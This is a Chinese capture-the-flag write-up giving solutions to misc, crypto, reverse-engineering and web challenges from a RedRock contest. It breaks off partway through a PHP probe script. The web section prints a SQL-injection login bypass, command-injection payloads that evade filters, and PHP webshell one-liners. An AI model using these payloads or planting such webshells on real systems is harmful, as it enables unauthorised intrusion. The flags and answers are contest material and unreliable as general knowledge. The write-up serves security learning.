

MSIC

题目：-.../-/-/-.../-/-/-.../-.../-.../-/-/-/-.../-/-/-/-/-/-/-/-.../-/-/-.../-/-/-.../-/-/-/-

ELMA:

A stylized illustration of a young woman with long, straight brown hair. She is wearing a wide-brimmed yellow straw hat with a blue band. Her expression is somber as she looks down and to the left. She is dressed in a white short-sleeved shirt with a blue collar. The background is a solid light blue, with a red and white striped pole visible on the right edge. There are some faint white lines and small pink dots in the upper left background.

1 / 22

上传图片解密，得到链接<https://rin777-1306176007.cos.ap-nanjing.myqcloud.com/l5b.jpg>

进去是一个残缺的二维码



修补角上的方块，微信扫码可得到flag，redrock{Welc_0meToR3dRo_ckCup}

yyz的流量：

打开往下浏览发现隐隐约约有一些text的包，直接使用wireshark的导出功能，把HTTP的全部导出保存，发现导出的文件中名为_的里面是一个上传界面的html代码，继续往下看，发现了名为1(1).php的文件，打开是一个php马，有eval和str_rot13函数，继续往下翻，在1(36).php文件中发现了一个不寻常的字符串

```
=dee48942104eerqebpx{pr7r1951s077qs97rq166r5838p33r42}
```

前面知道，使用过rot13函数，就是字母回转13位，r的rot13恰好是e，e的rot13恰好是r，提交格式是redrock{}，拿去rot13处理得到flag：redrock{ce7e1951f077df97ed166e5838c33e42}。

CRYPTO

base全家桶：

```
3441353234333536353535323433343434423539354135353435353233323442344134323435343535
3335363432353334433432343835353435353634423436343734413437353434353535333235303439
3441343734363446344435323535343934453432353535353536353334433442353234323534343935
3333323534344134453441343534353532353335363442354134413535344435343332343334433441
3434343535333444333235353442343634383434344235353442353534393436343835353537353635
3334433442344134363535344235323442353534373445343434353334353635333332344334323442
3536344435313533353234413445343634363531353633323434344135363432343634443532333233
32344135323434343634333445343334344234363436353635333537344235373441344433333435
3537353634423446344234413441353534423445343335353441344534343435344635363532353334
4235353541343634353531353335323441343234423534333235303441333534383535333635343332
334433443344
```

两次base16解密，两次base32解密，两次base64解密，base在线工具<https://ctf.bugku.com/tools>

redrock{bf05214a2d78d93479788d7539e65c46}

福尔摩斯卷卷：

```
kb51c4017d556b1fb96d271d56e4c0c931
2
```

给了一个特殊的字符串和一个数字2，使用栅栏2解密，得到k9b65d12c7410d1576de545c60bc19f3bl,md5在线解密，得到thecat，flag：redorock{thecat}。

rsa1.txt：

```
p=14761210916337047372685394014928579109878876003896690227406813559296128331463717
3338522787501221233131551934112621199764391055903055665279340723435443214438803958
0529285085521150944138835094445993671112695354375330080077417225341367786979065225
97440831904650183582467394987289371711734685640404907683000858869
q=13414590447239197390257612753718827313879674364831800915097257152586169934704312
5785827603587046356992292094841678408464849493661524744498666837623618686229224916
0855417626258970152104152043838939500426095188945018712378344496138652821090319472
79294496673031276919574492404624447199870341556939907694802827701
c=71714065370897985104665929697493980843508335990486716710101906348993330558629099
1834215166441331333376566090275423709117672444887247591730232294668398556699116856
0127734349306816136872925717657318906100304067087820082954682673527287134580134507
2422993139518408923766340659474216149501879256744774586582820299815192932531777610
3143327984910582854467312835347767614035270886040883061181659391984473288010523827
8299145783774178566548329991636442667683570875915219233940201001149969221026013239
```

```

0806968676384731365302427598615058714573720088107029423007182021700447963210184902
31762301030276976442715775393642929116554148
e=65537p=1476121091633704737268539401492857910987887600389669022740681355929612833
1463717333852278750122123313155193411262119976439105590305566527934072343544321443
8803958052928508552115094413883509444599367111269535437533008007741722534136778697
906522597440831904650183582467394987289371711734685640404907683000858869
q=13414590447239197390257612753718827313879674364831800915097257152586169934704312
5785827603587046356992292094841678408464849493661524744498666837623618686229224916
0855417626258970152104152043838939500426095188945018712378344496138652821090319472
79294496673031276919574492404624447199870341556939907694802827701
c=71714065370897985104665929697493980843508335990486716710101906348993330558629099
1834215166441331333376566090275423709117672444887247591730232294668398556699116856
0127734349306816136872925717657318906100304067087820082954682673527287134580134507
2422993139518408923766340659474216149501879256744774586582820299815192932531777610
3143327984910582854467312835347767614035270886040883061181659391984473288010523827
8299145783774178566548329991636442667683570875915219233940201001149969221026013239
0806968676384731365302427598615058714573720088107029423007182021700447963210184902
31762301030276976442715775393642929116554148
e=65537

```

知道质数p,q, 公钥e, 密文c,网上找一个python解密rsa的脚本, 修改一下数据

原文链接: https://blog.csdn.net/qq_40657585/article/details/84874073

```

#!/usr/bin/python
# -*- coding:utf8 -
from libnum import n2s,s2n

def gcd(a, b):    #求最大公约数
    if a < b:
        a, b = b, a
    while b != 0:
        temp = a % b
        a = b
        b = temp
    return a
def egcd(a,b):    #扩展欧几里得算法
    if a==0:
        return (b,0,1)
    else:
        g,y,x=egcd(b%a,a)
        return (g,x-(b//a)*y,y)

def modinv(a,m):
    g,x,y=egcd(a,m)
    if g!=1:
        raise Exception('modular inverse does not exist')
    else:
        return x%m
if __name__ == '__main__':
    p
    =147612109163370473726853940149285791098788760038966902274068135592961283314637173

```

```

3385227875012212331315519341126211997643910559030556652793407234354432144388039580
5292850855211509441388350944459936711126953543753300800774172253413677869790652259
7440831904650183582467394987289371711734685640404907683000858869

q
=134145904472391973902576127537188273138796743648318009150972571525861699347043125
7858276035870463569922920948416784084648494936615247444986668376236186862292249160
8554176262589701521041520438389395004260951889450187123783444961386528210903194727
9294496673031276919574492404624447199870341556939907694802827701

e = 65537
d =modinv(e,(p-1)*(q-1))
c
=717140653708979851046659296974939808435083359904867167101019063489933305586290991
8342151664413313333765660902754237091176724448872475917302322946683985566991168560
1277343493068161368729257176573189061003040670878200829546826735272871345801345072
4229931395184089237663406594742161495018792567447745865828202998151929325317776103
1433279849105828544673128353477676140352708860408830611816593919844732880105238278
2991457837741785665483299916364426676835708759152192339402010011499692210260132390
8069686763847313653024275986150587145737200881070294230071820217004479632101849023
1762301030276976442715775393642929116554148

n =p*q
m = pow(c,d,n)
print (n2s(m))

```

运行得出结果flag{rsa_is_so_eeeeeeasy}

rsa2.txt:

```

n=27165699915478709899591037909826730786499370104451475178959677543485932094152566
8576651005212446216884261732926069586474419268889822928574599508571211091581614177
8397803237147039103015820812264601046725780966397999218210793512552180853696201312
0865546513540563130603293071529020712172040077444698746824359887941345818662045893
9661930391189813432284265205858864219375569287218312334032432983406071112297861726
4513835202446671062733432518712890168059854648448452089137124365198680781583117175
5575193464079906876262015978739931088486581874643062651911618853280170017666942391
286592194127295774862811346780551960902842223
c=14860892682685151246974360898504508357567189730834641437675670266937492252182079
9250606463980743368996044943434354694224359636848737958337144008003540507108613044
2734372109396235137394063367417459648698865781616615453105455328451167277102360700
178580508711823537478178046045526970561986301598335561615647612753011917110726021
3904246125999037114400526675564127655638851014577474561097452145024795216931543353
4373892770266119728077550849220439146697838862853188561486248716538915787403628392
4624071145606585226112496333244384395996808647697544773162919037185428415628892217
753381811937088861138447144419593241991016116
e=65537

```

```

import gmpy2
from Cryptodome.Util.number import getPrime
import binascii

```

```

p = getPrime(1024)
q = gmpy2.next_prime(p)
e = 65537
n = p*q
flag = 'flag{*****}'
def encrypt(n,e,flag):
    m = int(binascii.hexlify(flag.encode()).decode(),16)
    c = pow(m,e,n)
    return c
c = encrypt(n,e,flag)

```

给出n,e,c,使用yafu分解数n, 求得P309 =

```

164820204815667881451830216997273520673704160510528999288311267052928164929154110870792893
999538507439807665465929918937860909796806255428508049083149603281706883650885793534757491
123121348204344560340210813782875319255176850113664114440116798695137487762411727155531291
658550163709763022464037056557871355317 P309 =
164820204815667881451830216997273520673704160510528999288311267052928164929154110870792893
999538507439807665465929918937860909796806255428508049083149603281706883650885793534757491
123121348204344560340210813782875319255176850113664114440116798695137487762411727155531291
658550163709763022464037056557871353619

```

根据rsa1的脚本, 修改数值。

```

#!/usr/bin/python
# -*- coding:utf8 -
from libnum import n2s,s2n

def gcd(a, b):    #求最大公约数
    if a < b:
        a, b = b, a
    while b != 0:
        temp = a % b
        a = b
        b = temp
    return a
def egcd(a,b):    #扩展欧几里得算法
    if a==0:
        return (b,0,1)
    else:
        g,y,x=egcd(b%a,a)
        return (g,x-(b//a)*y,y)

def modinv(a,m):
    g,x,y=egcd(a,m)
    if g!=1:
        raise Exception('modular inverse does not exist')
    else:
        return x%m
if __name__ == '__main__':
    p

```

```

=164820204815667881451830216997273520673704160510528999288311267052928164929154110
8707928939995385074398076654659299189378609097968062554285080490831496032817068836
5088579353475749112312134820434456034021081378287531925517685011366411444011679869
5137487762411727155531291658550163709763022464037056557871355317
    q
=164820204815667881451830216997273520673704160510528999288311267052928164929154110
8707928939995385074398076654659299189378609097968062554285080490831496032817068836
5088579353475749112312134820434456034021081378287531925517685011366411444011679869
5137487762411727155531291658550163709763022464037056557871353619
    e = 65537
    d =modinv(e,(p-1)*(q-1))
    c
=148608926826851512469743608985045083575671897308346414376756702669374922521820799
2506064639807433689960449434343546942243596368487379583371440080035405071086130442
7343721093962351373940633674174596486988657816166154531054553284511672771023607001
7858050871182353747817804604555269705619863015983355616156476127530119171107260213
9042461259990371144005266755641276556388510145774745610974521450247952169315433534
3738927702661197280775508492204391466978388628531885614862487165389157874036283924
6240711456065852261124963332443843959968086476975447731629190371854284156288922177
53381811937088861138447144419593241991016116
    n =p*q
    m = pow(c,d,n)
    print (n2s(m))

```

得到结果flag{yafuuuuuuuuuu!!}

rsa3.txt:

```

n=12193165491232590150686982432557244804300750963175008178236581194544171828897340
7369161761491737215515101903191087721135753773258606534219080676177976751413366200
0775597355404091778625808934802326969584350103971899639942920712883159234248527407
3559355787675660026139594401556004887413636861987542041178448038883087652407784191
8722201217494808259165330979779024727608603923526759574552922465660594961547026200
2466887506774986093575603938145103814474156769896683240373960780749415571443046217
1863146787192405435943867107310410641010836155850842469201306161627801130957327434
956927373515462512612188696131269636192461423
c=56274920108033865750489777368888541889198069509823093691274482837635646820708448
835557485368595293642574121944177628195579346614966976511404731963826581810789
e=3

```

题目给出n,e,c, n很大无法求解, 但是e=3, 根据网上的脚本修改一下, 原文链接

https://blog.csdn.net/m0_46230316/article/details/105904020, (使用kali的python3, 否则会遇到第三方库问题)

```

#!/usr/bin/env python
#coding:utf-8

import gmpy2
from Crypto.PublicKey import RSA

```

#读入公钥

```
n=12193165491232590150686982432557244804300750963175008178236581194544171828897340
7369161761491737215515101903191087721135753773258606534219080676177976751413366200
0775597355404091778625808934802326969584350103971899639942920712883159234248527407
355935578767566002613959440155600488741363686198754204117844803883087652407784191
8722201217494808259165330979779024727608603923526759574552922465660594961547026200
2466887506774986093575603938145103814474156769896683240373960780749415571443046217
1863146787192405435943867107310410641010836155850842469201306161627801130957327434
956927373515462512612188696131269636192461423
e=3
```

```
cipher=562749201080338657504897773688885418891980695098230936912744828376356468207
0844883555748536859529364257412194417762819557934661496697651140473196382658181078
9
```

#破解密文

```
def get_flag_for():
    for x in range(0, 1000):
        if(gmpy2.iroot(cipher+x*n, 3)[1] == 1):
            flag_bin = int(gmpy2.iroot(cipher+x*n, 3)[0])
            flag = hex(flag_bin)
            print(flag)

if __name__ == "__main__":
    get_flag_for()
```

输出为0x666c61677b337d，网上十六进制转字符串得到flag{3333333333333333}。

rsa4.txt:

```
n=21986952806083130275797030452868092210388137103595814788381248228107929558485767
8181495181179320244503740442873781575815476974248763425104783832697248741356556013
8806831122155153499277471998578809808929939877352551631413069267161264905545929098
0711341053921160651223628975025276916068562487276949413795212067701663409252958915
1470012218411725755220922008519131868691602474271033508750500142276441723121459109
7892973951860081811955306687713882554657492650698041969575657033612136780776359779
0159805982689429185389067077219495106100710784490003787384470363349515390928245929
021470777491993247675208476744147539290542079
c1=1908024806039595625859576170294761683784558861775547335016484860834289619209615
3766636446745996441248489138669909312704510100023041719293226643189161115835169792
6011665072289764496537581042213913737392832871118221004049594446569892092988692336
8295951989422844582332742356734047704495725017313557073211951951474888686282085959
9682230290582445164104163511283624763746454074599408411149918612416364297711010755
2490654809519821992409451654464836774761616366847682703796062050261527289343124640
1009835652354415728636274396510729535888026646197495905241421864959604683710478715
2236254856919540215279775538232015374683149314
e1=65537
c2=8151715556653268999826612814810013900643008569198880832508061727100601282914047
5212574586015865462393473036953071229305782111355918193295642652975328896236998274
8766307770012110610668495343425466815317018724595581695188071853123666496156127491
```



```

3060807382817795641226988987631595037165849450826120669345727405847675399893657078
7414455510955000174245654139658431736966121599137336401450779291722768960585463758
6858176708733723691714146834508176539926763094301068008238636820662873240589975489
8189741379404373789034996890115651437844498670960136602710454251494983980248896833
70620521234304474702542771113251819984463783
e2=257

```

题目给出一个n, 两个c,两个e,可以用共模攻击, 原文链接:

<https://www.cnblogs.com/P201521440001/p/11439344.html>, 将数据补上运行即可。

```

from libnum import n2s,s2n
from gmpy2 import invert
def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)

def main():
    n =
    2198695280608313027579703045286809221038813710359581478838124822810792955848576781
    8149518117932024450374044287378157581547697424876342510478383269724874135655601388
    0683112215515349927747199857880980892993987735255163141306926716126490554592909807
    1134105392116065122362897502527691606856248727694941379521206770166340925295891514
    7001221841172575522092200851913186869160247427103350875050014227644172312145910978
    9297395186008181195530668771388255465749265069804196957565703361213678077635977901
    5980598268942918538906707721949510610071078449000378738447036334951539092824592902
    1470777491993247675208476744147539290542079
    c1 =
    1908024806039595625859576170294761683784558861775547335016484860834289619209615376
    6636446745996441248489138669909312704510100023041719293226643189161115835169792601
    1665072289764496537581042213913737392832871118221004049594446569892092988692336829
    5951989422844582332742356734047704495725017313557073211951951474888686282085959968
    2230290582445164104163511283624763746454074599408411149918612416364297711010755249
    0654809519821992409451654464836774761616366847682703796062050261527289343124640100
    9835652354415728636274396510729535888026646197495905241421864959604683710478715223
    6254856919540215279775538232015374683149314
    c2 =
    8151715556653268999826612814810013900643008569198880832508061727100601282914047521
    2574586015865462393473036953071229305782111355918193295642652975328896236998274876
    6307770012110610668495343425466815317018724595581695188071853123666496156127491306
    0807382817795641226988987631595037165849450826120669345727405847675399893657078741
    4455510955000174245654139658431736966121599137336401450779291722768960585463758685
    8176708733723691714146834508176539926763094301068008238636820662873240589975489818
    9741379404373789034996890115651437844498670960136602710454251494983980248896833706
    20521234304474702542771113251819984463783
    e1 = 65537
    e2 = 257
    s = egcd(e1, e2)
    s1 = s[1]

```

```

s2 = s[2]
if s1<0:
    s1 = - s1
    c1 = invert(c1, n)
elif s2<0:
    s2 = - s2
    c2 = invert(c2, n)

m = pow(c1,s1,n)*pow(c2,s2,n) % n
print (hex(m))

if __name__ == '__main__':
    main()

```

得到0x666c61677b436f6d6d6f6e5f4d6f64756c75735f41747461636b7d, 在线十六进制转字符串, 最后结果flag{Common_Modulus_Attack}

RE

easy_py:

题目地址: <https://www.lanzouw.com/iNYNTwvaa5i> 密码:2ktr

拿到手是python图标封装的exe文件, 使用pyinstxtractor解包, 在exe_extracted里面没有找到main文件, PYZ-00.pyz_extracted为空, 主目录下有python.pyc和struct.pyc, 使用uncompyle还原pyc文件

```

PS D:\文档> uncompyle6 .\struct.pyc
# uncompyle6 version 3.8.0
# Python bytecode 3.9.0 (3425)
# Decompile from: Python 3.7.4 (tags/v3.7.4:e09359112e, Jul  8 2019, 20:34:20)
[MSC v.1916 64 bit (AMD64)]
# Embedded file name: struct.py
# Compiled at: 1995-09-28 00:18:56
# Size of source mod 2**32: 272 bytes

```

Unsupported Python version, 3.9.0, for decompilation

```

# Unsupported bytecode in file .\struct.pyc
# Unsupported Python version, 3.9.0, for decompilation

```

不支持python3.9平台反编译, 使用xxd查看python.pyc文件二进制数据, 有很类似flag的字符串

```

000002f0: 094e e905 0000 007a 0566 6c61 677b e9ff  .N.....z.flag{..
00000300: ffff ffda 017d 7a19 5039 7448 306e 5f31  ....}z.P9tH0n_1
00000310: 5f6c 3076 405f 3930 755f 3530 5f6d 7543  _10v@_90u_50_muC
00000320: 687a 0850 6572 6665 6374 217a 1b47 6f6f  hz.Perfect!z.Goo

```

直接运行easy_py.exe，输入猜测的flag{P9tH0n_1_l0v@_90u_50_muChz}，显示good但是不完美，根据flag内容猜测语义python i love you so much，去掉z，flag{P9tH0n_1_l0v@_90u_50_muCh}成功。

cythonic:

```

3          0 LOAD_GLOBAL              0 (input)
          2 LOAD_CONST                  1 ('EasyEasyEasy!')
          4 CALL_FUNCTION                 1
          6 STORE_FAST                  0 (usr_flag)

4          8 LOAD_GLOBAL              1 (len)
         10 LOAD_FAST                  0 (usr_flag)
         12 CALL_FUNCTION                 1
         14 LOAD_CONST                  2 (48)
         16 COMPARE_OP                  3 (!=)
         18 POP_JUMP_IF_FALSE          28

5         20 LOAD_GLOBAL              2 (exit)
         22 LOAD_CONST                  3 (77777)
         24 CALL_FUNCTION                 1
         26 POP_TOP

6    >>  28 LOAD_CONST                  4 (187)
        30 LOAD_CONST                  4 (187)
        32 LOAD_CONST                  5 (174)
        34 LOAD_CONST                  6 (145)
        36 LOAD_CONST                  7 (207)
        38 LOAD_CONST                  8 (175)
        40 LOAD_CONST                  9 (194)
        42 LOAD_CONST                 10 (133)
        44 LOAD_CONST                 11 (181)
        46 LOAD_CONST                 12 (160)
        48 LOAD_CONST                 13 (201)
        50 LOAD_CONST                 14 (180)
        52 LOAD_CONST                 11 (181)
        54 LOAD_CONST                 15 (225)
        56 LOAD_CONST                 16 (168)
        58 LOAD_CONST                 17 (195)
        60 LOAD_CONST                 18 (217)
        62 LOAD_CONST                 19 (166)
        64 LOAD_CONST                 20 (135)
        66 LOAD_CONST                 21 (163)
        68 LOAD_CONST                 22 (219)
        70 LOAD_CONST                 23 (143)
        72 LOAD_CONST                 24 (134)

7         74 LOAD_CONST                 14 (180)
        76 LOAD_CONST                 25 (190)
        78 LOAD_CONST                 26 (255)
        80 LOAD_CONST                 27 (155)
        82 LOAD_CONST                 28 (156)
        84 LOAD_CONST                 29 (243)

```

	86	LOAD_CONST	30 (252)
	88	LOAD_CONST	31 (158)
	90	LOAD_CONST	32 (233)
	92	LOAD_CONST	33 (130)
	94	LOAD_CONST	34 (153)
	96	LOAD_CONST	35 (235)
	98	LOAD_CONST	36 (230)
	100	LOAD_CONST	4 (187)
	102	LOAD_CONST	37 (204)
	104	LOAD_CONST	38 (239)
	106	LOAD_CONST	39 (205)
	108	LOAD_CONST	40 (176)
	110	LOAD_CONST	41 (147)
	112	LOAD_CONST	42 (144)
	114	LOAD_CONST	43 (248)
	116	LOAD_CONST	4 (187)
	118	LOAD_CONST	44 (186)
	120	LOAD_CONST	45 (254)
	122	LOAD_CONST	30 (252)
6	124	BUILD_LIST	48
	126	STORE_FAST	1 (ints)
9	128	LOAD_GLOBAL	3 (list)
	130	LOAD_GLOBAL	4 (map)
	132	LOAD_GLOBAL	5 (ord)
	134	LOAD_GLOBAL	3 (list)
	136	LOAD_CONST	46
	('https://space.bilibili.com/672328094')		
	138	CALL_FUNCTION	1
	140	CALL_FUNCTION	2
	142	CALL_FUNCTION	1
	144	STORE_FAST	2 (digits)
11	146	BUILD_LIST	0
	148	STORE_FAST	3 (key)
12	150	LOAD_FAST	3 (key)
	152	LOAD_METHOD	6 (append)
	154	LOAD_CONST	47 ('y')
	156	CALL_METHOD	1
	158	POP_TOP	
13	160	LOAD_FAST	3 (key)
	162	LOAD_METHOD	6 (append)
	164	LOAD_CONST	48 ('b')
	166	CALL_METHOD	1
	168	POP_TOP	
14	170	LOAD_FAST	3 (key)
	172	LOAD_METHOD	6 (append)
	174	LOAD_CONST	48 ('b')
	176	CALL_METHOD	1
	178	POP_TOP	

```

16      180 BUILD_LIST      0
      182 STORE_FAST      4 (Hai)

17      184 LOAD_GLOBAL      7 (enumerate)
      186 LOAD_FAST      0 (usr_flag)
      188 CALL_FUNCTION      1
      190 GET_ITER
>> 192 FOR_ITER      50 (to 244)
      194 UNPACK_SEQUENCE      2
      196 STORE_FAST      5 (i)
      198 STORE_FAST      6 (j)

18      200 LOAD_FAST      4 (Hai)
      202 LOAD_METHOD      6 (append)

19      204 LOAD_GLOBAL      5 (ord)
      206 LOAD_FAST      6 (j)
      208 CALL_FUNCTION      1
      210 LOAD_GLOBAL      5 (ord)
      212 LOAD_FAST      3 (key)
      214 LOAD_FAST      5 (i)
      216 LOAD_CONST      49 (3)
      218 BINARY_MODULO
      220 BINARY_SUBSCR
      222 CALL_FUNCTION      1
      224 BINARY_ADD

20      226 LOAD_FAST      2 (digits)
      228 LOAD_FAST      5 (i)
      230 LOAD_CONST      50 (36)
      232 BINARY_MODULO
      234 BINARY_SUBSCR

19      236 BINARY_XOR

18      238 CALL_METHOD      1
      240 POP_TOP
      242 JUMP_ABSOLUTE      192

22  >> 244 LOAD_FAST      4 (Hai)
      246 LOAD_FAST      1 (ints)
      248 COMPARE_OP      2 (==)
      250 EXTENDED_ARG      1
      252 POP_JUMP_IF_FALSE      262

23      254 LOAD_GLOBAL      8 (print)
      256 LOAD_CONST      51 ('WelCome')
      258 CALL_FUNCTION      1
      260 POP_TOP
>> 262 LOAD_CONST      0 (None)
      264 RETURN_VALUE

```

根据题目提示，要用到python的dis库，就是根据dis.dis()的输出来还原python的源代码，最右侧是源代码含有的一部分数据，第一列是行数，第三列类似助记符，虽然没有完全成功还原源代码(cythonic中有GET_IETR和FOR_IETR助记符，但是却没有S E T U P _ L O O P助记符，不知道本来就是这样还是缺失了，我这补了一个f o r循环多了一个S E T U P _ L O O P)，但是能够大概的还原源代码的样子。

```
import dis
def hello():
    usr_flag=input('EasyEasyEasy!')
    if (len(usr_flag)!=48):
        exit(77777)
    ints=
[187,187,174,145,207,175,194,133,181,160,201,180,181,225,168,195,217,166,135,163,2
19,143,134,\
180,190,255,155,156,243,252,158,233,130,153,235,230,187,204,239,205,176,147,144,24
8,187,186,254,252]

    digits=list(map(ord,list('https://space.bilibili.com/672328094')))

    key=[]
    key.append('y')
    key.append('b')
    key.append('b')

    Hai=[]
    for i,j in enumerate(usr_flag):
        Hai.append((ord(j)+ord(key[i%3]))^(digits[ i%36]))

    if Hai==ints:
        print('WelCome')

dis.dis(hello)
#hello()
```

还原源代码后，根据加密那一块的加密方式写出解密的方法

```
import dis
def hello():
    #usr_flag=input('EasyEasyEasy!')
    #if (len(usr_flag)!=48):
    #    exit(77777)
    usr_flag=[str((i%10)) for i in range(48)]
    usr_flag=''.join(usr_flag)
    print(usr_flag)
    ints=
[187,187,174,145,207,175,194,133,181,160,201,180,181,225,168,195,217,166,135,163,2
19,143,134,\
180,190,255,155,156,243,252,158,233,130,153,235,230,187,204,239,205,176,147,144,24
8,187,186,254,252]
    digits=list(map(ord,list('https://space.bilibili.com/672328094')))
    key=[]
    key.append('y')
    key.append('b')
    key.append('b')
    Hai=[]
    for i,j in enumerate(usr_flag):
        #Hai.append((ord(j)+ord(key[i%3]))^(digits[ i%36]))
        Hai.append((ints[i]^digits[i%36])-ord(key[i%3]))
    if Hai==ints:
        print('WelCome')
    for a in Hai:
        print(chr(a),end='')
#dis.dis(hello)
hello()
```

得出来是一个加密后的编码ZmxhZ3tHdWFuWmh1SmlhUmFuX0R1bl4yX0ppZV9DaGFufQ==, base64解密得到flag: flag{GuanZhuJiaRan_Dun^2_Jie_Chan}。

WEB

我要黑了红岩网校:

打开御剑, 目录扫描, 有个robots.txt, 访问就是flag。

```
redrock{flag-is-here-and-pentest-ls-funny!!}
```

卷卷的backdoor:

go语言源码

```
package main

import (
    "fmt"
    "io/ioutil"
    "net/http"

    "github.com/gin-gonic/gin"
)

func main() {
    r := gin.Default()
    r.GET("/", func(c *gin.Context) {
        c.String(http.StatusOK, "上周在红岩网校后端学习了如何使用golang写gin应用, 这是我第一次写web网页, 不知道会不会出什么问题, 好紧张!! ")
    })
    r.PUT("/hacked-by-yyz-from-sre", backdoor)
    err := r.Run(":8080")
    if err != nil {
        return
    }
}

func backdoor(c *gin.Context) {
    f, err := ioutil.ReadFile("/flag")
    if err != nil {
        return
    }
    c.String(200, fmt.Sprintf("%s", string(f)))
}
```

下载附件, 分析源码, 发现有GET和PUT两种方法, get访问显示正常, put访问/hacked-by-yyz-from-sre应该就会调用backdoor然后显示flag, 打开burpsuite, 抓包, 发送到repeater, 修改包数据, 访问即可。

```
PUT /hacked-by-yyz-from-sre HTTP/1.1Host: 928cc5cc-f8d3-4e90-87d3-b7cc9e2406db.ctf.redrock.teamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: -----
-(使用自己的cookie)Upgrade-Insecure-Requests: 1Cache-Control: max-age=0
```

最后出现redrock{3abcfa3d-a5c5-4790-9264-a4c897189be3}。

ez_exec:

首先用万能密码绕过，登录进去，账户admin,密码"or"="a"='a，发现是个命令执行，发现可以用ls,但是过滤了空格，cat,nl,more等命令，空格最后发现可以用%09绕过，less没有过滤可以用less查看文件。

```
payload=/ping.php?ip=127.0.0.1;less%09ping.php;
```

发现ping.php源码，过滤了flag字符串,进入根目录发现flag,

```
/ping.php?ip=127.0.0.1;cd%09../../../../../../;ls;
```

但是flag被过滤，可以使用反引号，输出的内容作为输入绕过。

```
payload=/ping.php?ip=127.0.0.1;cd%09../../../../../../;ls;less%09`ls`;
```

最后出现flag:redrock{45a27061-e33f-43e4-a750-b96309c9172c}。

easynodejs:

查看页面源代码，最后一行，下载文件查看源代码


```
const express = require('express');
const fs = require('fs');
const router = express.Router();
const flag = fs.readFileSync('/flag');

router.get('/', (req, res) => {
  return res.render('index.html');
});

router.post('/login', async(req, res) => {
  let username = req.body['username'];
  let password = req.body['password'];
  let message = 'login fail!!';
  if (username !== 'admin' && username == 'admin' && password == "admin") {
    message = 'login success!! flag is ' + flag;
  }
  return res.render('index.html', { message: message });
});

router.get('/login', async(req, res) => {
  let message = 'login init!!';
  return res.render('index.html', { message: message });
});

router.get('/source', (req, res) => {
  let source = fs.readFileSync('routes/index.js');
  return res.send(source);
});

module.exports = router;
```

有关键代码

```
if (username !== 'admin' && username == 'admin' && password == "admin") {
  message = 'login success!! flag is ' + flag;
}
```

nodejs的弱类型。打开burp，修改数据包，发送

```
username[0]=admin&password=admin
```

最后得到flag: redrock{b5ed9cab-ed27-4f1a-bfb5-4ad53802d755}。

myshopxo:

使用目录扫描，有个robots.txt，发现有个www.zip，直接访问下载源码，使用php代码审计工具rips，发现/application/index/view/lengyu/index/star.php，内容是

```
<?php ec ho md5(1);@eval($_POST[1]);
```

使用蚁剑连接，登录成功，发现可以在当前目录下创建文件，但是使用系统命令失败，新建一个php马。

```
<?php @assert($_REQUEST["password"]); ?>
```

GET执行查看到phpinfo()的信息，根据提示绕过df，网上找了一个php探针的脚本，发现禁用一大堆函数。

php 探针

```
<?phpheader("content-Type: text/html; charset=utf-8");header("Cache-Control: no-
cache, must-revalidate");header("Pragma: no-
cache");error_reporting(0);ob_end_flush();?><!DOCTYPE html PUBLIC "-//W3C//DTD
XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-
equiv="Pragma" content="No-cache" /><meta http-equiv="Expires" content="0" /><meta
http-equiv="cache-control" content="private" /><meta http-equiv="Content-Type"
content="text/html; charset=utf-8" /><!--加了这句，看看能不能解决linux下显示乱码的问
题?<title>PHP 探针 v1.0</title><style type="text/css"><!--body{text-
align:center;margin-top:20px;background-
color:#a9b674;#overview{width:700px;margin:0 auto;text-align:left;}a{text-
decoration:underline;color:#992700;}.strong{color:#992700;}.basew{width:300px;}->
</style></head><body><div id="overview"><div id="copyright">版权信息<a
href="hello.php?typ=baseinfo">[基本信息]</a> <a href="hello.php?typ=superinfo">[高
级信息]</a><?phpif (function_exists("phpinfo")){ echo'<a href="hello.php?
typ=phpinfo">[phpinfo]</a>';}echo'<br />php探针v1.0 by MKDuse(blueidea-id)<br />
<br />此程序代码，可免费使用；但不得用于商业用途；完全转载或使用此代码，请保留版权信息；
<br />欢迎指正错误提建议，QQ: 122712355</div>';if (empty($_GET['typ'])){
baseinfo();}else{switch ($_GET['typ']){case 'phpinfo':phpinfoview();break;case
'superinfo':superinfo();break;case
'baseinfo':baseinfo();break;default:baseinfo();}}function gettime(){ $t =
gettimeofday(); return (float)($t['sec'] + $t['usec']/1000000);}function
baseinfo(){echo ' <h1>基本信息</h1>';$arr[]=array("Current PHP
version:",phpversion());$arr[]=array("Zend engine
version:",zend_version());$arr[]=array("服务器版
本",$_SERVER['SERVER_SOFTWARE']);$arr[]=array("ip地
址",$_SERVER['REMOTE_HOST']);//ip$arr[]=array("域
名",$_SERVER['HTTP_HOST']);$arr[]=array("协议端口",$_SERVER['SERVER_PROTOCOL'].
'".$_SERVER['SERVER_PORT']);$arr[]=array("站点根目
录",$_SERVER['PATH_TRANSLATED']);$arr[]=array("服务器时间",date('Y年m月d
日,H:i:s,D'));$arr[]=array("当前用户",get_current_user());$arr[]=array("操作系
统",php_uname('s').php_uname('r').php_uname('v'));$arr[]=array("include_path",ini_
get('include_path'));$arr[]=array("Server
API",php_sapi_name());$arr[]=array("error_reporting
level",ini_get("display_errors")); $arr[]=array("POST提交限
制",ini_get('post_max_size'));$arr[]=array("upload_max_filesize",ini_get('upload_m
ax_filesize'));$arr[]=array("脚本超时时间",ini_get('max_execution_time').'秒');if
(ini_get("safe_mode")==0){$arr[]=array("PHP安全模式
(Safe_mode)",'off');}else{$arr[]=array("PHP安全模式(Safe_mode)",'on');}if
(function_exists('memory_get_usage'))
{$arr[]=array("memory_get_usage",ini_get('memory_get_usage'));}//$arr[]=array("可
用空间",intval(diskfreespace('/'))/(1024 *
```

```

1024))."M");echo'<table>';for($i=0;$i<count($arr);$i++){ $overview='<tr><td
class="basew">'.$arr[$i][0].'/td><td>'.$arr[$i][1].'/td></tr>'; echo
